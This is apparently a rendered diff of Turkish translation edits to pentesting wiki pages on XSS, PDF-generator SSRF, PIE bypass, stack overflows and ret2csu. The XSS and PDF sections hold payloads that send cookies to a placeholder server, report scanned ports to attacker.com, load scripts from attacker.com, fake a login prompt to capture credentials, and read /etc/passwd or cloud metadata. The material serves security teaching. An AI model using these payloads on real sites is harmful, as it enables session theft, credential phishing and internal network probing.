Kullanıcının bir iframe'den çıkmadan sayfada gezinmesini sağla ve eylemlerini çal (formlarda gönderilen bilgiler dahil):
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../iframe-traps.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### Çerezleri Almak
 | 
			
		||||
### Çerezleri Al
 | 
			
		||||
```javascript
 | 
			
		||||
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
 | 
			
		||||
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
 | 
			
		||||
@ -1339,7 +1339,7 @@ q.shift()()
 | 
			
		||||
}
 | 
			
		||||
</script>
 | 
			
		||||
```
 | 
			
		||||
### Port Scanner (fetch)
 | 
			
		||||
### Port Tarayıcı (fetch)
 | 
			
		||||
```javascript
 | 
			
		||||
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
 | 
			
		||||
```
 | 
			
		||||
@ -1358,11 +1358,11 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
 | 
			
		||||
};
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
_Kısa süreler yanıt veren bir portu_ _Uzun süreler yanıt yok demektir._
 | 
			
		||||
_Kısa süreler, yanıt veren bir portu gösterir_ _Uzun süreler, yanıt olmadığını gösterir._
 | 
			
		||||
 | 
			
		||||
Chrome'da yasaklanan portların listesini [**buradan**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) ve Firefox'ta [**buradan**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist) gözden geçirin.
 | 
			
		||||
 | 
			
		||||
### Kimlik bilgilerini istemek için kutu
 | 
			
		||||
### Kimlik bilgileri istemek için kutu
 | 
			
		||||
```markup
 | 
			
		||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
 | 
			
		||||
```
 | 
			
		||||
@ -1388,7 +1388,7 @@ GitHub'da arama yaparak birkaç farklı tane buldum:
 | 
			
		||||
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
 | 
			
		||||
- Ayrıca metasploit `http_javascript_keylogger` kullanabilirsiniz.
 | 
			
		||||
 | 
			
		||||
### CSRF tokenlarını çalmak
 | 
			
		||||
### CSRF token'larını çalmak
 | 
			
		||||
```javascript
 | 
			
		||||
<script>
 | 
			
		||||
var req = new XMLHttpRequest();
 | 
			
		||||
@ -1496,7 +1496,7 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
 | 
			
		||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## XSS Diğer Güvenlik Açıklarını Kötüye Kullanma
 | 
			
		||||
## XSS Diğer güvenlik açıklarını istismar etme
 | 
			
		||||
 | 
			
		||||
### Markdown'da XSS
 | 
			
		||||
 | 
			
		||||
@ -1534,11 +1534,11 @@ pdf-injection.md
 | 
			
		||||
 | 
			
		||||
AMP, mobil cihazlarda web sayfası performansını hızlandırmayı amaçlayarak, hız ve güvenliğe vurgu yaparak işlevselliği sağlamak için JavaScript ile desteklenen HTML etiketlerini içerir. Çeşitli özellikler için bir dizi bileşeni destekler ve bunlara [AMP bileşenleri](https://amp.dev/documentation/components/?format=websites) aracılığıyla erişilebilir.
 | 
			
		||||
 | 
			
		||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı, belirli AMP bileşenlerini e-postalara genişleterek alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmalarını sağlar.
 | 
			
		||||
[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) formatı, belirli AMP bileşenlerini e-postalara genişleterek, alıcıların içerikle doğrudan e-postaları içinde etkileşimde bulunmalarını sağlar.
 | 
			
		||||
 | 
			
		||||
Örnek [**Gmail'de Amp4Email'de XSS yazımı**](https://adico.me/post/xss-in-gmail-s-amp4email).
 | 
			
		||||
 | 
			
		||||
### XSS dosya yükleme (svg)
 | 
			
		||||
### Dosya yüklemede XSS (svg)
 | 
			
		||||
 | 
			
		||||
Aşağıdaki gibi bir dosyayı ( [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/) ) bir resim olarak yükleyin:
 | 
			
		||||
```markup
 | 
			
		||||
@ -1604,7 +1604,7 @@ Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](ht
 | 
			
		||||
other-js-tricks.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## XSS resources
 | 
			
		||||
## XSS kaynakları
 | 
			
		||||
 | 
			
		||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
 | 
			
		||||
- [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
 | 
			
		||||
 | 
			
		||||
@ -8,12 +8,12 @@ Eğer bir web sayfası kullanıcı kontrolündeki girdileri kullanarak bir PDF o
 | 
			
		||||
Yani, eğer **PDF oluşturucu bot bazı** **HTML** **etiketleri** bulursa, bunları **yorumlayacaktır** ve bu davranışı **istismar** ederek bir **Sunucu XSS** oluşturabilirsiniz.
 | 
			
		||||
 | 
			
		||||
Lütfen, `<script></script>` etiketlerinin her zaman çalışmadığını unutmayın, bu yüzden JS'yi çalıştırmak için farklı bir yöntem kullanmanız gerekecek (örneğin, `<img` istismar ederek).\
 | 
			
		||||
Ayrıca, normal bir istismar durumunda oluşturulan pdf'yi **görebilir/indirebilirsiniz**, bu yüzden **JS ile yazdığınız her şeyi** görebilirsiniz (örneğin `document.write()` kullanarak). Ancak, eğer oluşturulan PDF'yi **göremiyorsanız**, muhtemelen **bilgiyi çıkartmak için web isteği yapmanız** gerekecek (Kör).
 | 
			
		||||
Ayrıca, normal bir istismar durumunda oluşturulan PDF'yi **görebilir/indirebilirsiniz**, bu yüzden **JS ile yazdığınız her şeyi** görebilirsiniz (örneğin `document.write()` kullanarak). Ancak, eğer oluşturulan PDF'yi **göremezseniz**, muhtemelen **bilgiyi çıkarmak için web isteği yapmanız** gerekecek (Kör).
 | 
			
		||||
 | 
			
		||||
### Popüler PDF oluşturma
 | 
			
		||||
 | 
			
		||||
- **wkhtmltopdf**, HTML ve CSS'yi PDF belgelerine dönüştürme yeteneği ile bilinir ve WebKit render motorunu kullanır. Bu araç, geniş bir uygulama yelpazesi için erişilebilir olan açık kaynaklı bir komut satırı aracı olarak mevcuttur.
 | 
			
		||||
- **TCPDF**, PDF oluşturma için PHP ekosisteminde sağlam bir çözüm sunar. Görüntüleri, grafikleri ve şifrelemeyi işleyebilme yeteneği ile karmaşık belgeler oluşturmak için çok yönlülüğünü sergiler.
 | 
			
		||||
- **wkhtmltopdf**, HTML ve CSS'i PDF belgelerine dönüştürme yeteneği ile bilinir ve WebKit render motorunu kullanır. Bu araç, geniş bir uygulama yelpazesi için erişilebilir olan açık kaynaklı bir komut satırı aracı olarak mevcuttur.
 | 
			
		||||
- **TCPDF**, PDF oluşturma için PHP ekosisteminde sağlam bir çözüm sunar. Görüntüleri, grafikleri ve şifrelemeyi işleyebilme yeteneğine sahiptir ve karmaşık belgeler oluşturma konusundaki çok yönlülüğünü sergiler.
 | 
			
		||||
- Node.js ortamında çalışanlar için **PDFKit** geçerli bir seçenek sunar. HTML ve CSS'den doğrudan PDF belgeleri oluşturulmasına olanak tanır ve web içeriği ile yazdırılabilir formatlar arasında bir köprü sağlar.
 | 
			
		||||
- Java geliştiricileri, PDF oluşturmayı kolaylaştıran ve dijital imzalar ile form doldurma gibi gelişmiş özellikleri destekleyen **iText** kütüphanesini tercih edebilir. Kapsamlı özellik seti, güvenli ve etkileşimli belgeler oluşturmak için uygundur.
 | 
			
		||||
- **FPDF**, basitliği ve kullanım kolaylığı ile öne çıkan bir başka PHP kütüphanesidir. Geliştiricilerin kapsamlı özelliklere ihtiyaç duymadan PDF oluşturma için basit bir yaklaşım arayanlar için tasarlanmıştır.
 | 
			
		||||
@ -35,7 +35,7 @@ Ayrıca, normal bir istismar durumunda oluşturulan pdf'yi **görebilir/indirebi
 | 
			
		||||
```
 | 
			
		||||
### SVG
 | 
			
		||||
 | 
			
		||||
Önceki veya aşağıdaki yüklerden herhangi biri bu SVG yükü içinde kullanılabilir. Burpcollab alt alanına erişen bir iframe ve meta veri uç noktasına erişen bir diğeri örnek olarak verilmiştir.
 | 
			
		||||
Bu SVG yüklemesi içinde önceki veya aşağıdaki yüklemelerden herhangi biri kullanılabilir. Bir iframe Burpcollab alt alanına erişirken, diğeri de meta veri uç noktasına erişim sağlamak için örnek olarak verilmiştir.
 | 
			
		||||
```markup
 | 
			
		||||
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
 | 
			
		||||
<g>
 | 
			
		||||
@ -69,9 +69,9 @@ if not, you will at least have wich path the bot is accessing -->
 | 
			
		||||
<img src="x" onerror="document.write(window.location)" />
 | 
			
		||||
<script> document.write(window.location) </script>
 | 
			
		||||
```
 | 
			
		||||
### Harici bir betik yükleyin
 | 
			
		||||
### Yükleme harici bir betik
 | 
			
		||||
 | 
			
		||||
Bu güvenlik açığını istismar etmenin en uygun yolu, botun yerel olarak kontrol ettiğiniz bir betiği yüklemesini sağlamak için açığı kötüye kullanmaktır. Ardından, yükü yerel olarak değiştirebilir ve botun her seferinde aynı kodla yüklemesini sağlayabilirsiniz.
 | 
			
		||||
Bu güvenlik açığını istismar etmenin en uygun yolu, botun yerel olarak kontrol ettiğiniz bir betiği yüklemesini sağlamak için açığı kötüye kullanmaktır. Böylece, yüklenen yükü yerel olarak değiştirebilir ve botun her seferinde aynı kodla yüklemesini sağlayabilirsiniz.
 | 
			
		||||
```markup
 | 
			
		||||
<script src="http://attacker.com/myscripts.js"></script>
 | 
			
		||||
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
 | 
			
		||||
@ -79,9 +79,9 @@ Bu güvenlik açığını istismar etmenin en uygun yolu, botun yerel olarak kon
 | 
			
		||||
### Yerel dosyayı oku / SSRF
 | 
			
		||||
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> `file:///etc/passwd` yerine `http://169.254.169.254/latest/user-data` değiştirin, örneğin **harici bir web sayfasına erişmeye çalışmak için (SSRF)**.
 | 
			
		||||
> `file:///etc/passwd` yerine `http://169.254.169.254/latest/user-data` gibi bir şey değiştirin **harici bir web sayfasına erişmeye çalışmak için (SSRF)**.
 | 
			
		||||
>
 | 
			
		||||
> Eğer SSRF'ye izin veriliyorsa, ancak ilginç bir alan adına veya IP'ye **ulaşamıyorsanız**, [bypass'lar için bu sayfayı kontrol edin](../ssrf-server-side-request-forgery/url-format-bypass.md).
 | 
			
		||||
> Eğer SSRF'ye izin veriliyorsa, ancak ilginç bir alan adı veya IP'ye **ulaşamıyorsanız**, [bypass'lar için bu sayfayı kontrol edin](../ssrf-server-side-request-forgery/url-format-bypass.md).
 | 
			
		||||
```markup
 | 
			
		||||
<script>
 | 
			
		||||
x=new XMLHttpRequest;
 | 
			
		||||
@ -145,14 +145,14 @@ checkPort(i);
 | 
			
		||||
</script>
 | 
			
		||||
<img src="https://attacker.com/startingScan">
 | 
			
		||||
```
 | 
			
		||||
### [SSRF](../ssrf-server-side-request-forgery/)
 | 
			
		||||
### [SSRF](../ssrf-server-side-request-forgery/index.html)
 | 
			
		||||
 | 
			
		||||
Bu zafiyet, SSRF'ye çok kolay bir şekilde dönüştürülebilir (çünkü script'in dış kaynakları yüklemesine izin verirsiniz). Bu yüzden bunu istismar etmeyi deneyin (biraz meta verisi mi okuyacaksınız?).
 | 
			
		||||
Bu zafiyet, bir SSRF'ye çok kolay bir şekilde dönüştürülebilir (çünkü script'in dış kaynakları yüklemesine izin verirsiniz). Bu yüzden bunu istismar etmeyi deneyin (biraz meta verisi mi okuyacaksınız?).
 | 
			
		||||
 | 
			
		||||
### Attachments: PD4ML
 | 
			
		||||
 | 
			
		||||
PDF için **ekleri belirtmeye** izin veren bazı HTML 2 PDF motorları vardır, bunlardan biri **PD4ML**'dir. Bu özelliği, PDF'ye **herhangi bir yerel dosyayı eklemek** için kötüye kullanabilirsiniz.\
 | 
			
		||||
Eklemeyi açmak için dosyayı **Firefox ile açtım ve Ataş simgesine çift tıkladım** böylece **eklemeyi** yeni bir dosya olarak **kaydedebildim**.\
 | 
			
		||||
**PDF için ekleri belirtmeye** izin veren bazı HTML 2 PDF motorları vardır, örneğin **PD4ML**. Bu özelliği, **herhangi bir yerel dosyayı** PDF'ye **eklemek için** kötüye kullanabilirsiniz.\
 | 
			
		||||
Eklemeyi açmak için dosyayı **Firefox ile açtım ve Kağıt Klibi simgesine çift tıkladım** ve **eklemeyi** yeni bir dosya olarak **kaydettim**.\
 | 
			
		||||
Burp ile **PDF yanıtını** yakalamak da **eklemeyi düz metin olarak** PDF içinde **göstermelidir**.
 | 
			
		||||
```html
 | 
			
		||||
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
 | 
			
		||||
 | 
			
		||||
@ -61,7 +61,7 @@ Payloadlar örneği:
 | 
			
		||||
<div
 | 
			
		||||
id="1
 | 
			
		||||
 | 
			
		||||
//)">
 | 
			
		||||
//index.html)">
 | 
			
		||||
-----------------------------------------------
 | 
			
		||||
<a
 | 
			
		||||
title="a
 | 
			
		||||
 | 
			
		||||
@ -9,7 +9,7 @@
 | 
			
		||||
## Bypass'ler
 | 
			
		||||
 | 
			
		||||
- Bu korumayı aşmak için, ikili dosyada zaten mevcut olan çalıştırılabilir kod parçalarını çalıştırarak [**ROP**](../stack-overflow/rop-return-oriented-programing.md) gibi teknikler kullanmak mümkündür.
 | 
			
		||||
- [**Ret2libc**](../stack-overflow/ret2libc/)
 | 
			
		||||
- [**Ret2libc**](../stack-overflow/ret2lib/index.html)
 | 
			
		||||
- [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
 | 
			
		||||
- **Ret2...**
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -4,26 +4,26 @@
 | 
			
		||||
 | 
			
		||||
## Temel Bilgiler
 | 
			
		||||
 | 
			
		||||
PIE olarak derlenmiş bir ikili, yani **Konum Bağımsız Yürütülebilir**, **programın her çalıştırıldığında farklı bellek konumlarında yüklenebileceği** anlamına gelir, bu da sabit adreslerin önüne geçer.
 | 
			
		||||
PIE olarak derlenmiş bir ikili, veya **Pozisyon Bağımsız Yürütülebilir**, **programın her çalıştırıldığında farklı bellek konumlarında yüklenebileceği** anlamına gelir, bu da sabit kodlanmış adresleri önler.
 | 
			
		||||
 | 
			
		||||
Bu ikilileri istismar etmenin püf noktası, **göreceli adresleri** istismar etmektir—programın parçaları arasındaki ofsetler, mutlak konumlar değişse bile aynı kalır. **PIE'yi atlatmak için yalnızca bir adres sızdırmanız gerekir**, genellikle **yığın** üzerinden format dizesi saldırıları gibi zafiyetler kullanarak. Bir adres elde ettiğinizde, diğerlerini **sabit ofsetleri** ile hesaplayabilirsiniz.
 | 
			
		||||
 | 
			
		||||
PIE ikililerini istismar etmede yardımcı bir ipucu, **temel adreslerinin genellikle 000 ile bitmesidir** çünkü bellek sayfaları rastgeleleştirme birimleri olup, boyutları 0x1000 bayttır. Bu hizalama, bir istismar beklenildiği gibi çalışmıyorsa kritik bir **kontrol olabilir**, doğru temel adresin tanımlanıp tanımlanmadığını gösterir.\
 | 
			
		||||
Ya da bunu istismarınız için kullanabilirsiniz, eğer bir adresin **`0x649e1024`** konumunda olduğunu sızdırırsanız, **temel adresin `0x649e1000`** olduğunu bilirsiniz ve buradan sadece **ofsetleri** hesaplayabilirsiniz.
 | 
			
		||||
PIE ikililerini istismar etmede yardımcı bir ipucu, **temel adreslerinin genellikle 000 ile bittiğidir** çünkü bellek sayfaları rastgeleleştirme birimleri olarak 0x1000 bayt boyutundadır. Bu hizalama, bir istismar beklenildiği gibi çalışmıyorsa kritik bir **kontrol olabilir**, doğru temel adresin tanımlanıp tanımlanmadığını gösterir.\
 | 
			
		||||
Ya da bu bilgiyi istismarınız için kullanabilirsiniz, eğer bir adresin **`0x649e1024`** konumunda olduğunu sızdırırsanız, **temel adresin `0x649e1000`** olduğunu bilirsiniz ve buradan sadece **ofsetleri** hesaplayabilirsiniz.
 | 
			
		||||
 | 
			
		||||
## Atlatmalar
 | 
			
		||||
 | 
			
		||||
PIE'yi atlatmak için, yüklü ikilinin **bir adresini sızdırmak** gereklidir, bunun için bazı seçenekler vardır:
 | 
			
		||||
PIE'yi atlatmak için, **yüklenmiş ikilinin bazı adreslerini sızdırmak** gereklidir, bunun için bazı seçenekler vardır:
 | 
			
		||||
 | 
			
		||||
- **ASLR'yi devre dışı bırakma**: ASLR devre dışı bırakıldığında, PIE ile derlenmiş bir ikili her zaman **aynı adreste yüklenecektir**, bu nedenle **PIE işe yaramayacaktır** çünkü nesnelerin adresleri her zaman aynı yerde olacaktır.
 | 
			
		||||
- **ASLR devre dışı**: ASLR devre dışı bırakıldığında, PIE ile derlenmiş bir ikili her zaman **aynı adreste yüklenecektir**, bu nedenle **PIE işe yaramaz** çünkü nesnelerin adresleri her zaman aynı yerde olacaktır.
 | 
			
		||||
- Sızdırma **verilmesi** (kolay CTF zorluklarında yaygındır, [**bu örneğe bakın**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
 | 
			
		||||
- Yığındaki **doğru EBP ve EIP değerlerini sızdırana kadar brute-force** yapmak:
 | 
			
		||||
- Yığındaki **doğru EBP ve EIP değerlerini sızdırana kadar** zorla denemek:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
bypassing-canary-and-pie.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
- Bir adres sızdırmak için [**format dizesi**](../../format-strings/) gibi keyfi bir okuma zafiyetini kullanarak (örneğin, önceki teknik gibi yığından) ikilinin temelini elde etmek ve buradan ofsetleri kullanmak. [**Burada bir örnek bulun**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
 | 
			
		||||
- Bir adres sızdırmak için [**format dizesi**](../../format-strings/index.html) gibi keyfi bir okuma zafiyetini kullanarak (örneğin, önceki teknik gibi yığından) ikilinin temelini elde etmek ve buradan ofsetleri kullanmak. [**Burada bir örnek bulun**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
 | 
			
		||||
 | 
			
		||||
## Referanslar
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -2,14 +2,14 @@
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
## Stack Overflow Nedir
 | 
			
		||||
## What is a Stack Overflow
 | 
			
		||||
 | 
			
		||||
Bir **stack overflow**, bir programın yığın (stack) belleğine tahsis edilen miktardan daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, **komşu bellek alanını üzerine yazarak**, geçerli verilerin bozulmasına, kontrol akışının kesintiye uğramasına ve potansiyel olarak kötü niyetli kodun çalıştırılmasına yol açar. Bu sorun genellikle, girdi üzerinde sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır.
 | 
			
		||||
Bir **stack overflow**, bir programın yığın (stack) için ayrılan alandan daha fazla veri yazdığı zaman meydana gelen bir güvenlik açığıdır. Bu fazla veri, **komşu bellek alanını üzerine yazarak**, geçerli verilerin bozulmasına, kontrol akışının kesintiye uğramasına ve potansiyel olarak kötü niyetli kodun çalıştırılmasına yol açar. Bu sorun genellikle, girdi üzerinde sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır.
 | 
			
		||||
 | 
			
		||||
Bu üzerine yazmanın ana sorunu, **kayıtlı talimat işaretçisi (EIP/RIP)** ve önceki fonksiyona dönmek için **kayıtlı temel işaretçi (EBP/RBP)** değerlerinin **yığın üzerinde saklanmasıdır**. Bu nedenle, bir saldırgan bu değerleri üzerine yazabilir ve **programın yürütme akışını kontrol edebilir**.
 | 
			
		||||
Bu üzerine yazma işleminin ana sorunu, **kaydedilmiş talimat işaretçisi (EIP/RIP)** ve önceki fonksiyona dönmek için **kaydedilmiş temel işaretçi (EBP/RBP)** değerlerinin **yığın üzerinde saklanmasıdır**. Bu nedenle, bir saldırgan bu değerleri üzerine yazabilir ve **programın yürütme akışını kontrol edebilir**.
 | 
			
		||||
 | 
			
		||||
Güvenlik açığı genellikle bir fonksiyonun **yığının içine tahsis edilen miktardan daha fazla bayt kopyalaması** nedeniyle ortaya çıkar, bu da yığının diğer kısımlarını üzerine yazmasına olanak tanır.\
 | 
			
		||||
Buna karşı duyarlı bazı yaygın fonksiyonlar şunlardır: `strcpy`, `strcat`, `sprintf`, `gets`... Ayrıca, belirtilen uzunluk tahsis edilenden büyükse, `fgets` veya `read` gibi uzunluk argümanı alan fonksiyonlar da savunmasız bir şekilde kullanılabilir.
 | 
			
		||||
Güvenlik açığı genellikle bir fonksiyonun **yığına ayrılan miktardan daha fazla bayt kopyalaması** nedeniyle ortaya çıkar ve bu da yığının diğer kısımlarını üzerine yazmasına olanak tanır.\
 | 
			
		||||
Buna karşı hassas bazı yaygın fonksiyonlar şunlardır: `strcpy`, `strcat`, `sprintf`, `gets`... Ayrıca, belirtilen uzunluk ayrılan uzunluktan büyükse, `fgets` veya `read` gibi uzunluk argümanı alan fonksiyonlar da savunmasız bir şekilde kullanılabilir.
 | 
			
		||||
 | 
			
		||||
Örneğin, aşağıdaki fonksiyonlar savunmasız olabilir:
 | 
			
		||||
```c
 | 
			
		||||
@ -22,9 +22,9 @@ printf("You entered: %s\n", buffer);
 | 
			
		||||
```
 | 
			
		||||
### Stack Overflow'ları Bulma
 | 
			
		||||
 | 
			
		||||
Stack overflow'ları bulmanın en yaygın yolu, çok büyük bir `A` girişi vermektir (örneğin, `python3 -c 'print("A"*1000)'`) ve **`0x41414141` adresine erişilmeye çalışıldığını** belirten bir `Segmentation Fault` beklemektir.
 | 
			
		||||
Stack overflow'ları bulmanın en yaygın yolu, çok büyük bir `A` girişi vermektir (örneğin, `python3 -c 'print("A"*1000)'`) ve **`0x41414141` adresinin erişilmeye çalışıldığını** belirten bir `Segmentation Fault` beklemektir.
 | 
			
		||||
 | 
			
		||||
Ayrıca, Stack Overflow zafiyetini bulduktan sonra, **geri dönüş adresini** yazmak için gereken ofseti bulmanız gerekecek; bunun için genellikle bir **De Bruijn dizisi** kullanılır. Verilen bir _k_ boyutundaki alfabede ve _n_ uzunluğundaki alt diziler için, bu, **herhangi bir _n_ uzunluğundaki alt dizinin tam olarak bir kez** bitişik bir alt dizi olarak göründüğü **döngüsel bir dizidir.**
 | 
			
		||||
Ayrıca, Stack Overflow zafiyetini bulduktan sonra, **geri dönüş adresini** yazmak için gereken ofseti bulmanız gerekecek; bunun için genellikle bir **De Bruijn dizisi** kullanılır. Verilen bir _k_ boyutundaki alfabede ve _n_ uzunluğundaki alt diziler için, bu, **herhangi bir _n_ uzunluğundaki alt dizinin tam olarak bir kez** bitişik bir alt dizi olarak göründüğü **döngüsel bir dizidir**.
 | 
			
		||||
 | 
			
		||||
Bu şekilde, EIP'yi kontrol etmek için hangi ofsetin gerektiğini elle bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından onu yazmayı bitiren baytların ofsetini bulmak mümkündür.
 | 
			
		||||
 | 
			
		||||
@ -40,7 +40,7 @@ eip_value = p32(0x6161616c)
 | 
			
		||||
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
 | 
			
		||||
print(f"The offset is: {offset}")
 | 
			
		||||
```
 | 
			
		||||
veya **GEF**:
 | 
			
		||||
ve **GEF**:
 | 
			
		||||
```bash
 | 
			
		||||
#Patterns
 | 
			
		||||
pattern create 200 #Generate length 200 pattern
 | 
			
		||||
@ -49,14 +49,14 @@ pattern search $rsp #Search the offset given the content of $rsp
 | 
			
		||||
```
 | 
			
		||||
## Yığın Taşmalarını İstismar Etme
 | 
			
		||||
 | 
			
		||||
Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) yığın içindeki yerel değişkenlerin değerlerini, kaydedilmiş EBP/RBP ve EIP/RIP'ye ulaşana kadar yazabilirsiniz.\
 | 
			
		||||
Bu tür bir zafiyeti istismar etmenin en yaygın yolu, **dönüş adresini değiştirmektir**, böylece fonksiyon sona erdiğinde **kontrol akışı kullanıcının bu işaretçide belirttiği yere yönlendirilecektir**.
 | 
			
		||||
Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) yığın içindeki yerel değişkenlerin değerlerini, kaydedilmiş EBP/RBP ve EIP/RIP'e ulaşana kadar yazabilirsiniz.\
 | 
			
		||||
Bu tür bir güvenlik açığını istismar etmenin en yaygın yolu, **dönüş adresini değiştirmektir**, böylece fonksiyon sona erdiğinde **kontrol akışı, bu işaretçide kullanıcının belirttiği yere yönlendirilecektir**.
 | 
			
		||||
 | 
			
		||||
Ancak, diğer senaryolarda sadece **yığındaki bazı değişken değerlerini yazmak** istismar için yeterli olabilir (kolay CTF zorluklarında olduğu gibi).
 | 
			
		||||
 | 
			
		||||
### Ret2win
 | 
			
		||||
 | 
			
		||||
Bu tür CTF zorluklarında, **asla çağrılmayan** ve **kazanmak için çağırmanız gereken** bir **fonksiyon** **binary** içinde bulunmaktadır. Bu zorluklar için sadece **dönüş adresini yazmak için ofseti bulmanız** ve **çağırmak için fonksiyonun adresini bulmanız** gerekir (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/) devre dışı bırakılmış olacaktır) böylece savunmasız fonksiyon döndüğünde, gizli fonksiyon çağrılacaktır:
 | 
			
		||||
Bu tür CTF zorluklarında, **asla çağrılmayan** ve **kazanmak için çağırmanız gereken** bir **fonksiyon** **binary** içinde bulunmaktadır. Bu zorluklar için sadece **dönüş adresini yazmak için ofseti bulmanız** ve **çağırmak için fonksiyonun adresini bulmanız** gerekir (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) devre dışı bırakılmış olacaktır) böylece savunmasız fonksiyon döndüğünde, gizli fonksiyon çağrılacaktır:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
ret2win.md
 | 
			
		||||
@ -80,7 +80,7 @@ rop-return-oriented-programing.md
 | 
			
		||||
 | 
			
		||||
## Koruma Türleri
 | 
			
		||||
 | 
			
		||||
Zafiyetlerin istismarını önlemeye çalışan çeşitli korumalar vardır, bunları kontrol edin:
 | 
			
		||||
Güvenlik açıklarının istismarını önlemeye çalışan çeşitli korumalar vardır, bunları kontrol edin:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../common-binary-protections-and-bypasses/
 | 
			
		||||
 | 
			
		||||
@ -6,7 +6,7 @@
 | 
			
		||||
 | 
			
		||||
**ret2csu**, bir programın kontrolünü ele almaya çalışırken genellikle programın davranışını manipüle etmek için kullandığınız **gadgets**'ları bulamadığınızda kullanılan bir hacking tekniğidir. 
 | 
			
		||||
 | 
			
		||||
Bir program belirli kütüphaneleri (libc gibi) kullandığında, programın farklı parçalarının birbirleriyle nasıl iletişim kuracağını yönetmek için bazı yerleşik fonksiyonlara sahiptir. Bu fonksiyonlar arasında, özellikle `__libc_csu_init` adı verilen kaybolan gadgets'larımız olarak işlev görebilecek bazı gizli mücevherler bulunmaktadır.
 | 
			
		||||
Bir program belirli kütüphaneleri (libc gibi) kullandığında, programın farklı parçalarının birbirleriyle nasıl iletişim kurduğunu yönetmek için bazı yerleşik işlevlere sahiptir. Bu işlevler arasında, özellikle `__libc_csu_init` adı verilen kaybolan gadgets'larımız olarak işlev görebilecek bazı gizli mücevherler bulunmaktadır.
 | 
			
		||||
 | 
			
		||||
### \_\_libc_csu_init'deki Sihirli Gadgets
 | 
			
		||||
 | 
			
		||||
@ -25,8 +25,8 @@ ret;
 | 
			
		||||
Bu cihaz, yığın üzerindeki değerleri bu kayıtlara alarak kontrol etmemizi sağlar.
 | 
			
		||||
 | 
			
		||||
2. İkinci dizilim, ayarladığımız değerleri kullanarak birkaç şey yapar:
 | 
			
		||||
- **Belirli değerleri diğer kayıtlara taşıyarak**, bunları fonksiyonlarda parametre olarak kullanmaya hazır hale getirir.
 | 
			
		||||
- **r15 ve rbx'deki değerleri toplayarak** belirlenen bir konuma çağrı yapar, ardından rbx'i 8 ile çarpar.
 | 
			
		||||
- **Belirli değerleri diğer kayıtlara taşıma**, bunları fonksiyonlarda parametre olarak kullanmamız için hazır hale getirme.
 | 
			
		||||
- **r15 ve rbx'deki değerleri toplayarak** belirlenen bir konuma çağrı yapma, ardından rbx'i 8 ile çarpma.
 | 
			
		||||
```
 | 
			
		||||
mov rdx, r14;
 | 
			
		||||
mov rsi, r13;
 | 
			
		||||
@ -35,14 +35,14 @@ call qword [r15 + rbx*8];
 | 
			
		||||
```
 | 
			
		||||
## Örnek
 | 
			
		||||
 | 
			
		||||
